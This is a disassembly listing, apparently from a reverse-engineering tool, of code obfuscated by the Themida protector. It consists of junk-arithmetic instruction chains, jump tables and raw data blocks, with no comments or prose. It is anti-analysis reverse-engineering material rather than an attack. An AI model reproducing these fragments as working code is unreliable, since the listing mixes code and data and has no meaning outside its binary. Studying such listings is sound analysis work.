		mov	edx, 43635D03h
		mov	eax, edx
		pop	edx
		xor	eax, 2C365B1Eh
		or	eax, 318D7F9Ch
		sub	eax, 78E136C9h
		shr	eax, 2
		add	eax, 6581460Ah
		add	ebp, 3FEB6597h
		jmp	loc_550CB7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 244C8A04h, 24648802h, 48B6602h, 0E2895224h
		dd 3BDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CC31:				; CODE XREF: Themida_:00544C6Ej
		mov	[esp], ebp
		xor	dword ptr [esp], 300D651Eh
		jmp	loc_54C90D
; ---------------------------------------------------------------------------
		dd 67673E2Dh, 6880681Fh, 34890000h, 0F9636824h,	34FF5C5Ch
		dd 97E95E24h, 81000020h, 4C4h, 2812E900h, 50680000h, 8900005Ah
		dd 17E92404h, 81FFFFD6h, 4C4h, 2940E900h, 0BD550000h, 0B995862h
		dd 8246C01h, 34FF5E5Dh,	0C4835824h, 20B95104h, 56059623h
		dd 0F90816BEh, 5EF02923h, 1605C801h, 5923F908h,	0B60F66h
		dd 8904EC83h, 0E0892404h, 4EC81h, 0C890000h, 4FC6B924h
		dd 49493925h, 56EBC181h, 0E18166D6h, 32D721C1h,	0F181D9F7h
		dd 0ED2CDF7Bh, 0D0D8E957h
		db 2 dup(0FFh)
word_54CCDE	dw 0EC81h		; DATA XREF: Themida_:005443D8o
		dd 4, 0E9241489h, 0FFFF97D6h, 4BDh, 5DEB0100h, 4B850h
		dd 0C3010000h, 241C8758h, 0E9C2295Ch, 0FFFF7E02h
; ---------------------------------------------------------------------------


loc_54CD08:				; CODE XREF: Themida_:00548DC3j
		pop	edx
		jmp	loc_5475E5
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 7991E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD16:				; CODE XREF: Themida_:005488D1j
		mov	edx, 5C112D8Bh
		jmp	loc_54E48B
; ---------------------------------------------------------------------------
dword_54CD20	dd 582434FFh, 68DE68h, 24048900h, 24048B54h ; DATA XREF: Themida_:0054445Co
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54F7E9
; ---------------------------------------------------------------------------
		dw 5D5Ah
		dd 8105EEC1h, 0E27361EEh, 0CC06E903h, 0E089FFFFh, 4BE56h
		dd 0F0010000h, 4E8835Eh, 377BE9h, 0B7EB8100h, 81764A01h
		dd 3D4868EBh, 0C704E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD72:				; CODE XREF: Themida_:005477F5j
		sub	al, cl
		pop	cx
		pop	edx
		jmp	loc_550791
; ---------------------------------------------------------------------------


loc_54CD7C:				; CODE XREF: Themida_:00549B4Bj
		xor	cl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	cl, 7
		jmp	loc_54DC46
; ---------------------------------------------------------------------------


loc_54CD8D:				; CODE XREF: Themida_:00545ACAj
		not	ebx
		add	ebx, 3F1E0C86h
		add	ebx, 331A92BBh
		jmp	loc_546FE0
; ---------------------------------------------------------------------------
dword_54CDA0	dd 9C241CF7h, 0FF78FEE9h, 0C58851FFh, 0C7ADE953h, 248BFFFFh
					; DATA XREF: Themida_:005445F8o
		dd 0A840E924h, 0C281FFFFh, 69153B0h, 0E95AD389h, 0FFFF945Dh
dword_54CDC8	dd 0B60F6664h, 1794E902h, 0BB530000h, 4BC333FDh, 0A3E9D831h
					; DATA XREF: Themida_:005443E8o
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CDDF:				; CODE XREF: Themida_:00548A7Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		push	7D38h
		mov	[esp], ecx
		push	eax
		push	7406A64h
		pop	eax
		shr	eax, 8
		add	eax, 0FFFFFFFFh
		push	ebx
		jmp	loc_5500E4
; ---------------------------------------------------------------------------
		dd 9C2404FFh, 0FF789EE9h, 4C181FFh, 52000000h, 4BAh, 5AD10100h
		dd 2474FF51h, 0C18CE904h, 1489FFFFh, 0A31E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CE2A:				; CODE XREF: Themida_:005447F1j
		mov	[esp], ebx
		mov	bh, 0C5h
		push	ebx
		mov	bh, 39h
		shl	bh, 1
		push	ecx
		jmp	loc_5506EC
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4296624h, 60E99C24h,	0C1FFFF78h, 0DBF702E3h,	7B92EB81h
		dd 0EB815EFBh, 35FF35A8h, 0B101E955h, 0E95FFFFFh, 0FFFFA5FDh
; ---------------------------------------------------------------------------


loc_54CE64:				; CODE XREF: Themida_:00544E3Aj
		push	esp
		jmp	loc_549009
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 3C8904ECh, 56E78924h, 4BEh, 5EF70100h, 6804C783h, 4B0Eh
		dd 0FF243C89h, 0E9042474h, 0FFFF96CFh, 0A07152BEh, 7EEC110h
		dd 0FFC6814Eh, 8117822Eh, 0A37C5FC6h, 5EF33199h, 3675E9h
		dd 0B5685100h, 8900007Dh, 0ADBD242Ch, 0C13EBF39h, 0B85003EDh
		dd 448D6C2Bh, 0FFE57CE9h, 80B2B2FFh, 0EA8025E2h, 18CBE97Eh
		dd 0E5080000h, 0C7B35358h, 525BDD08h, 9DE904B6h, 83FFFFD4h
		dd 48704C0h, 0C3815C24h, 83048F82h, 0FFE166E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CEF9:				; CODE XREF: Themida_:0054DFBBj
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 49FE4946h
		dec	ebx
		xor	ebx, 12306242h
		mov	ebp, ebx
		pop	ebx
		push	ebx
		push	edx
		mov	edx, 4DC80D33h
		shl	edx, 1
		jmp	loc_54C807
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0A911E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF2A:				; CODE XREF: Themida_:0054815Dj
		pop	ecx
		push	ecx
		mov	ecx, 2
		sub	ebp, 4D001A9Ah
		add	ebp, ecx
		add	ebp, 4D001A9Ah
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 347Dh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 68575324h, 438E4BE8h, 0D7F7475Fh, 0B412F781h, 0FB89BC71h
		dd 245C015Fh, 555F5B04h, 0C62E0EBDh, 0E83FE958h, 0B551FFFFh
		dd 84ED80BFh, 0F64ECD80h, 0C46EE9DDh, 0E829FFFFh, 2404335Dh
		dd 33240431h, 248B2404h, 0BFE6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFAA:				; CODE XREF: Themida_:0054EB6Dj
		pop	esi
		add	ebx, 1
		add	ebx, 0FB640C77h
		jmp	loc_54DB16
; ---------------------------------------------------------------------------
		dd 0E32CE954h, 0CB31FFFFh, 42C58159h, 0E96AC12Ah, 0FFFFED3Fh
; ---------------------------------------------------------------------------


loc_54CFD0:				; CODE XREF: Themida_:005474CCj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54F261
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0EC810000h, 4, 0BB241C89h, 31741689h, 555BDA01h, 741BD0BDh
		dd 6ED8168h, 146E6E9h, 0FA015DEAh, 3E33BF57h, 0E7812D3Bh
		dd 45A73FC7h, 8106EFC1h, 100346CFh, 0AC14E970h
		db 2 dup(0FFh)
word_54D022	dw 31ADh		; DATA XREF: Themida_:005443C8o
		dd 0A6E953D8h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D02B:				; CODE XREF: Themida_:0054B199j
		pop	ecx
		xor	edi, 2F134AE1h
		add	edi, 156A0866h
		mov	esi, edi
		pop	edi
		jmp	loc_54A636
; ---------------------------------------------------------------------------


loc_54D040:				; CODE XREF: Themida_:00547FA1j
		mov	edx, ebx
		pop	ebx
		add	edx, 0C464826h
		neg	edx
		push	ecx
		mov	ecx, 96A1E195h
		sub	edx, ecx
		pop	ecx
		jmp	loc_5510FB
; ---------------------------------------------------------------------------
byte_54D059	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00544518o
		dd 0E92434FFh, 3C74h
; ---------------------------------------------------------------------------


loc_54D064:				; CODE XREF: Themida_:0054B78Bj
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_547940
; ---------------------------------------------------------------------------
byte_54D071	db 68h,	7Fh, 6Ch	; DATA XREF: Themida_:0054458Co
		dd 0D5680000h, 89000070h, 9B682424h, 8900003Fh,	4BF243Ch
		dd 1000000h, 5F04247Ch,	8324048Fh, 48904ECh, 44E95124h
		dd 28FFFF8Bh, 686858C3h, 89000074h, 5150240Ch, 1AE9EAB5h
		dd 0FFFF90h, 19C380F3h,	0FFEB805Ah, 0C049B450h,	49E902E4h
		dd 8BFFFFA5h, 0C483242Ch, 4C48304h, 52E9FA01h, 0BBFFFF90h
		dd 39687FC7h, 803DC381h, 0D901C697h, 81241C8Bh,	4C4h, 3D556800h
		dd 0A3E90000h, 0C100001Dh, 0DBE908EBh
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D0FF:				; CODE XREF: Themida_:00548488j
		xor	edx, edi
		jmp	loc_5494BC
; ---------------------------------------------------------------------------
		dw 59h
		dd 41E95BF8h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D10F:				; CODE XREF: Themida_:00546D44j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 6DAD1C50h
		xor	edi, 2A0923ACh
		sub	edi, 76F27CEBh
		jmp	loc_550216
; ---------------------------------------------------------------------------


loc_54D12C:				; CODE XREF: Themida_:00546602j
		add	esp, 4
		pop	ebx
		add	cl, 0Dh
		add	bl, cl
		jmp	loc_54AE87
; ---------------------------------------------------------------------------


loc_54D13D:				; CODE XREF: Themida_:005494B7j
		push	744A464Dh
		pop	ecx
		or	ecx, 17FD0314h
		add	ecx, 5C16085Dh
		add	ecx, 4B380AE2h
		mov	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4FB171ADh
		neg	ecx
		inc	ecx
		shr	ecx, 6
		xor	ecx, 6DB75ED6h
		sub	ecx, 0F32F636Eh
		push	ecx
		jmp	loc_54B21B
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 5E8015Dh, 71664DB9h,	120DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D186:				; CODE XREF: Themida_:00549A2Ej
		add	esp, 4
		shl	ecx, 3
		jmp	loc_548FCB
; ---------------------------------------------------------------------------


loc_54D194:				; CODE XREF: Themida_:005446B3j
		mov	ebp, 5461530h
		add	edx, ebp
		pop	ebp
		jmp	loc_547D8C
; ---------------------------------------------------------------------------
		db 35h,	22h, 40h
		dd 2A0515D2h, 1416029h,	24048BC7h, 904C483h, 0E9C15FF9h
		dd 3442E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D1BE:				; CODE XREF: Themida_:00548D15j
		add	esp, 4
		mov	edi, edx
		pop	edx
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 1D5A55EFh
		add	esi, ebx
		sub	esi, 1D5A55EFh
		sub	esi, 752A21ABh
		mov	ebx, [esp]
		add	esp, 4
		push	6A83h
		mov	[esp], esi
		sub	dword ptr [esp], 7AC164FFh
		jmp	loc_549254
; ---------------------------------------------------------------------------
		db 96h,	0F7h, 0D6h
		dd 78BF5796h, 0F7353679h, 1019E9DFh, 0F2810000h, 6B91014Ah
		dd 148BD031h, 4C48124h,	52000000h, 0CBDD2E68h, 24148B48h
		dd 0FFE3C8E9h, 2DF781FFh, 816A9117h, 3596F1EFh,	80BD5572h
		dd 16D346Ch, 1453E9EBh,	74FF0000h, 8F5F0424h, 0E4E92404h
		dd 87FFFFB5h, 0D2F72414h, 0E9241431h, 0FFFFAB6Ch, 0E5C1DDF7h
		dd 3E5C107h, 0C4BAC581h, 86E93BA8h, 5CFFFFD5h, 1750E9h
		dd 4FC58000h, 80FDCD80h, 0EB007DC5h, 12D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D289:				; CODE XREF: Themida_:00551100j
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	128Eh
		mov	[esp], edx
		jmp	loc_5466CA
; ---------------------------------------------------------------------------


loc_54D2A5:				; CODE XREF: Themida_:0054A441j
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	72DCh
		mov	[esp], esp
		jmp	loc_54D7FD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 242C8700h, 68E9F75Ch, 2FFDh, 0FF76FDE9h, 240C87FFh
		dd 241C895Ch, 0C381E389h, 4, 81E28952h,	4C2h, 4EA8300h
		dd 0E9241487h, 0FFFFD98Eh
; ---------------------------------------------------------------------------


loc_54D2F0:				; CODE XREF: Themida_:00548B83j
		mov	ebp, 1
		push	ebp
		xor	dword ptr [esp], 0D1B4859h
		jmp	loc_548E0B
; ---------------------------------------------------------------------------


loc_54D302:				; CODE XREF: Themida_:0054BD9Bj
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_548CD3
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFDF86h
; ---------------------------------------------------------------------------


loc_54D314:				; CODE XREF: Themida_:0054965Bj
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_54C158
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFE79BE9h, 4C781FFh, 83000000h, 0FF5704C7h,	0E9042474h
		dd 3916h
; ---------------------------------------------------------------------------


loc_54D340:				; CODE XREF: Themida_:0054AAACj
		push	4220534Dh
		pop	ebp
		jmp	loc_547FD5
; ---------------------------------------------------------------------------
aIts		db '䉎>#',0
		align 2
		dw 34FFh
		dd 2434FF24h, 582434FFh, 4C481h, 0C4830000h, 8B545504h
		dd 0C483242Ch, 4C58104h, 81000000h, 4C5h, 4EC8300h, 0E9242C89h
		dd 0FFFFBD48h, 0BE565854h, 4, 0FFC6ABE9h
		db 0FFh
byte_54D391	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00544480o
		dd 0D259669Dh, 0E99C2414h, 0FFFF7307h
; ---------------------------------------------------------------------------


loc_54D3A0:				; CODE XREF: Themida_:0054590Cj
		mov	ebx, [esp]
		push	edx
		jmp	loc_545403
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 7
		dd 918D3548h, 0C389FF94h, 221CE958h, 0E2890000h, 4C281h
		dd 0B7E90000h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D3C7:				; CODE XREF: Themida_:0054B58Bj
		not	ecx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ecx, ebp
		pop	ebp
		neg	ecx
		jmp	loc_54B843
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 5Eh
		dd 2158C789h, 0CA815FFAh, 39DE7D8Ch, 0FF7325E9h, 0FBE951FFh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D3F3:				; CODE XREF: Themida_:0054F4A5j
		shl	eax, 5
		add	eax, 61D51296h
		shr	eax, 4
		sub	eax, 0B243C7EEh
		add	ebp, eax
		pop	eax
		jmp	loc_550C8B
; ---------------------------------------------------------------------------
		db 33h
		dd 8E92414h, 31000038h,	4332404h, 24248B24h, 24048966h
		dd 0FF7282E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D425:				; CODE XREF: Themida_:00549CCAj
		not	esi
		sub	esi, 73323702h
		sub	edi, 6CE86044h
		add	edi, esi
		add	edi, 6CE86044h
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 186111CBh
		jmp	loc_545132
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 58A52F32h, 0D7E9F201h, 89000012h, 80B5240Ch,	0E950DDF6h
		dd 158Dh
; ---------------------------------------------------------------------------


loc_54D468:				; CODE XREF: Themida_:00545A6Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4CAE114Bh
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		push	ebx
		mov	ebx, 4D4C7C44h
		or	ebp, ebx
		jmp	loc_54B53D
; ---------------------------------------------------------------------------
		db 42h,	81h, 0F2h
		dd 0A95B47AAh, 34FFD501h, 0C4835A24h, 83DDF704h, 565201EDh
		dd 0C534C3BEh, 0F6814E50h, 0FA877687h, 315EF289h, 0EF295AD5h
		dd 5D2434FFh, 0E904C483h, 0FFFFBDF9h
; ---------------------------------------------------------------------------


loc_54D4CC:				; CODE XREF: Themida_:0054E835j
		mov	[esp], ecx
		push	esi
		jmp	loc_548ECD
; ---------------------------------------------------------------------------
		db 5Dh,	33h, 34h
		dd 7271E924h, 0E95AFFFFh, 29DBh, 771C68h, 240C8900h, 42474FFh
		dd 24048F59h, 6624248Bh, 9C240CD3h, 0FF71A6E9h,	32E95BFFh
		dd 1000032h, 2434FFD7h,	4C4815Ah, 33000000h, 3C31243Ch
		dd 243C3324h, 0E924248Bh, 1EB8h
; ---------------------------------------------------------------------------


loc_54D524:				; CODE XREF: Themida_:0054F205j
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	5AF4h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54BD46
; ---------------------------------------------------------------------------
		dw 0E12Dh
		dd 10FA218h, 18E105F0h,	685E0FA2h, 47F9h, 52241C89h, 4EC81h
		dd 4890000h, 350BB824h,	0C2895DEAh, 8124048Bh, 4C4h, 0BEA8100h
		dd 0E916FA51h, 0FFFFF822h
; ---------------------------------------------------------------------------


loc_54D598:				; CODE XREF: Themida_:00546599j
		add	edi, 2B95081Eh
		neg	edi
		sub	edi, 6F73F475h
		jmp	loc_5446AF
; ---------------------------------------------------------------------------
		db 80h
		dd 0D028EDF2h, 0C3305A5Ah, 0E9C0B60Fh, 0FFFFC75Dh
; ---------------------------------------------------------------------------


loc_54D5BC:				; CODE XREF: Themida_:0054F9BAj
		pop	ecx
		sub	ebp, edx
		jmp	loc_54C014
; ---------------------------------------------------------------------------
		dd 22B85051h, 5725A09h,	0CFEB1D32h, 0C07E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D5D5:				; CODE XREF: Themida_:005446AAj
		push	0B8Dh
		mov	[esp], ecx
		mov	ch, 9Eh
		push	ax
		jmp	loc_54745A
; ---------------------------------------------------------------------------
		dw 8852h
		dd 5AF588FEh, 0E9E8285Bh, 0FFFFA778h, 9B05D801h, 0E96C8A71h
		dd 0FFFF8A1Ch
; ---------------------------------------------------------------------------


loc_54D600:				; CODE XREF: Themida_:0054784Ej
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54C418
; ---------------------------------------------------------------------------


loc_54D609:				; CODE XREF: Themida_:005482F0j
		xor	[esp], ebp
		jmp	loc_54FF53
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 205E0606h, 261EE9h, 0C4815B00h, 4, 31242C33h, 73E9242Ch
		dd 83FFFFA0h, 555A04C4h, 8B0695BDh, 80C5815Ch, 0E92E5B08h
		dd 4ECh, 5C241487h, 6C9AB951h, 0C8310FF7h, 3839E9h, 5C686600h
		dd 7850E931h, 5455FFFFh, 55242C8Bh, 0FFCA8BE9h,	240C89FFh
		dd 0FF8EE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D671:				; CODE XREF: Themida_:0054E93Bj
		sub	ebp, 45A86788h
		pop	ecx
		add	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_5448FD
; ---------------------------------------------------------------------------


loc_54D681:				; CODE XREF: Themida_:0054F1F1j
		push	4559h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_547848
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BB535954h, 6C255845h, 1314C381h, 0F3815E67h, 0CA8C6B5Dh
		dd 0E95BD901h, 0FFFF9B78h, 0C181E189h, 4, 4B850h, 0C1010000h
		dd 8324048Bh, 0C8704C4h, 3C875C24h, 24248B24h, 0FFE03BE9h
		dd 6F30B9FFh, 0CA017682h, 4EC8159h, 89000000h, 6BE92434h
		dd 29FFFFB2h, 36E95EF1h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D6F7:				; CODE XREF: Themida_:00545294j
		xor	ebx, 0AC830E0Ah
		xor	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 3C6872EDh
		sub	ebp, edi
		pop	edi
		push	6AA3h
		mov	[esp], esi
		mov	esi, 3A1D266Eh
		sub	esi, 0B5027F4Dh
		sub	ebp, 461B5E91h
		sub	ebp, esi
		add	ebp, 461B5E91h
		pop	esi
		add	ebx, ebp
		pop	ebp
		add	ebx, edi
		push	ecx
		mov	ecx, 77F25344h
		sub	ebx, ecx
		pop	ecx
		mov	eax, [ebx]
		pop	ebx
		push	esi
		push	ecx
		push	eax
		mov	eax, 63AD6974h
		jmp	loc_548610
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Eh, 1000000h, 5BE95AD0h, 5DFFFFD9h, 0E9E38953h
		dd 27D1h
; ---------------------------------------------------------------------------


loc_54D764:				; CODE XREF: Themida_:0054F268j
		mov	eax, 63535974h
		shr	eax, 3
		and	eax, 26F95B68h
		jmp	loc_54FAB6
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFFDE2h, 55595451h, 46852h, 895A0000h, 0C9E95AD5h
		dd 66FFFFE3h, 10E99C51h, 1FFFF6Fh, 0BAEF81F7h, 0E901794Fh
		dd 0FFFFD06Ch
; ---------------------------------------------------------------------------


loc_54D7A4:				; CODE XREF: Themida_:0054C908j
		add	dword ptr [esp+4], 26DE1ACFh
		add	dword ptr [esp+4], 70781BA6h
		jmp	loc_54573E
; ---------------------------------------------------------------------------
byte_54D7B9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005443E4o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	6C8h
		mov	[esp], esp
		push	edi
		push	edx
		mov	edx, 19464F04h
		mov	edi, 0E6B9B100h
		add	edi, edx
		pop	edx
		add	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_54FE8E
; ---------------------------------------------------------------------------
		dd 42DAF742h, 0FFB0E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D7FD:				; CODE XREF: Themida_:0054D2B2j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 20872D57h
		add	ebp, 21C41C4h
		xor	ebp, 490B4766h
		neg	ebp
		sub	ebp, 5C921AFDh
		not	ebp
		sub	ebp, 4FB50892h
		and	ebp, 2BE67AB9h
		not	ebp
		add	ebp, 774E2E18h
		jmp	loc_547C4D
; ---------------------------------------------------------------------------
		dd 8104EDC1h, 0F34800C5h, 5DEA0155h, 24143358h,	33241431h
		dd 0B5E92414h, 68FFFF98h, 47BC7CE2h, 0D471E95Ah, 0E181FFFFh
		dd 38E02CB9h, 0E9814149h, 8471962Eh, 0C8BCD01h,	4C48324h
		dd 5A5DE929h, 0FF1C4F09h, 83592434h, 815304C4h,	24012434h
		dd 1C8B44CAh, 0E6895624h, 4C681h, 0BA520000h, 4E7B38B3h
		dd 399FC281h, 0F2812B6Ch, 1B49346Dh, 4D8BC281h,	814A0E76h
		dd 5E3166E2h, 3CEA8104h, 81000411h, 0D650E7C6h,	330AE90Ch
		db 2 dup(0)
word_54D8CE	dw 8B66h		; DATA XREF: Themida_:00544498o
		dd 0A4682404h, 0E9000012h, 0FFFFC804h
dword_54D8DC	dd 24048B66h, 10CC68h, 242C8900h, 0C3E9E589h ; DATA XREF: Themida_:00544554o
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D8EF:				; CODE XREF: Themida_:00545732j
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	edi
		jmp	loc_548F98
; ---------------------------------------------------------------------------


loc_54D8FF:				; CODE XREF: Themida_:00551049j
		shr	eax, 8
		neg	eax
		push	ecx
		mov	ecx, 91D17F12h
		xor	eax, ecx
		pop	ecx
		mov	ebx, eax
		pop	eax
		add	ebx, 1A806954h
		neg	ebx
		jmp	loc_54B6C4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4668C80Fh, 8900005Bh, 78E92404h, 52FFFF6Dh, 0C281E289h
		dd 4, 0FFCB17E9h
		db 0FFh
byte_54D93D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005444C0o
		dd 0FC5E924h, 0EB810000h, 783D68F9h, 352CF381h,	58E9CB67h
		dd 3500000Eh, 149817B4h, 0FFA8F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D961:				; CODE XREF: Themida_:0054682Dj
		mov	ebx, 651B6445h
		xor	ecx, ebx
		pop	ebx
		pop	ebx
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 17C66426h
		mov	ebp, 43136724h
		xor	ebp, edi
		jmp	loc_547DF4
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 25E6E924h,	8B660000h, 0E9532414h, 0FFFFD66Fh
; ---------------------------------------------------------------------------


loc_54D99C:				; CODE XREF: Themida_:00550259j
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 3
		jmp	loc_550F3B
; ---------------------------------------------------------------------------
		db 58h,	81h, 0F6h
		dd 16F4D63Bh, 76E9F301h, 31FFFF88h, 241C8BDEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	ecx
		mov	ecx, 253551B9h
		mov	edi, 0EC29D3D3h
		add	edi, ecx
		pop	ecx
		neg	edi
		push	ecx
		mov	ecx, 40C757A8h
		jmp	loc_54C0D9
; ---------------------------------------------------------------------------


loc_54D9DF:				; CODE XREF: Themida_:00544E15j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_549398
; ---------------------------------------------------------------------------


loc_54DA05:				; CODE XREF: Themida_:00550FE1j
		push	esi
		jmp	loc_54E2E0
; ---------------------------------------------------------------------------
aSse6		db 'SéE6',0
		dd 2474FF00h, 7B09E904h
		db 2 dup(0FFh)
word_54DA1A	dw 0FF64h		; DATA XREF: Themida_:00544538o
		dd 0A566E932h, 2D5FFFFFh, 292C6D7Ah, 0FFA5F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DA2D:				; CODE XREF: Themida_:0054CBE1j
		not	eax
		add	eax, 87F2BF2h
		xor	eax, 7D117A5Bh
		add	eax, 66E73E9Ch
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_54B0FD
; ---------------------------------------------------------------------------


loc_54DA5B:				; CODE XREF: Themida_:00545C72j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 4DA5027Fh
		jmp	loc_5471E3
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 0F9BF5758h, 5100161Dh, 9B46FF68h,	0DEE95967h, 5B00001Bh
		dd 0E95EF101h, 0FFFFFA58h, 7CB768h, 24148900h, 4BAh, 0E092E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA9E:				; CODE XREF: Themida_:0054BD03j
		sub	ebx, ecx
		pop	ecx
		add	ebx, edi
		push	eax
		mov	eax, 68557DB4h
		or	eax, 7D000C41h
		inc	eax
		jmp	loc_54C5AF
; ---------------------------------------------------------------------------
		dd 0FFFFEF81h, 8E9FFFFh, 29FFFFEEh, 0EBCBE9DEh,	0A5BDFFFFh
		dd 815C722Fh, 0EF3CA8CDh, 8E5C155h, 0FFA471E9h,	90BE56FFh
		dd 0F74D3314h, 55EE81D6h, 81366B36h, 1D1494EEh,	0B8EE8102h
		dd 12AE865h, 0E9815EF1h, 57030754h, 0C181E901h,	57030754h
		dd 3ACEE981h, 34FF4F5Ch, 0C4835D24h, 0BB5AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB16:				; CODE XREF: Themida_:0054CFB7j
		xor	eax, ebx
		pop	ebx
		xor	ebx, eax
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_54DC4E
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFA719h, 0EDC1D5F7h, 3EDC106h, 0FFCD01E9h, 4E981FFh
		dd 87000000h, 248B240Ch, 240C8924h, 0E1C0F4B1h,	8E9C003h
		dd 0E9DCB050h, 0FFFF7DB5h, 83242C8Bh, 0BD5504C4h, 59150500h
		dd 6F7CCD81h, 0D5F74AF5h, 0EDC1E5D1h, 58BE5605h, 0E941C535h
		dd 0FFFF6BA4h, 50A2B151h, 0FF8DA2E9h, 59CE29FFh, 3EFA6857h
		dd 3C8B0EB4h, 0ADADE924h, 5866FFFFh, 0FFBD13E9h, 241489FFh
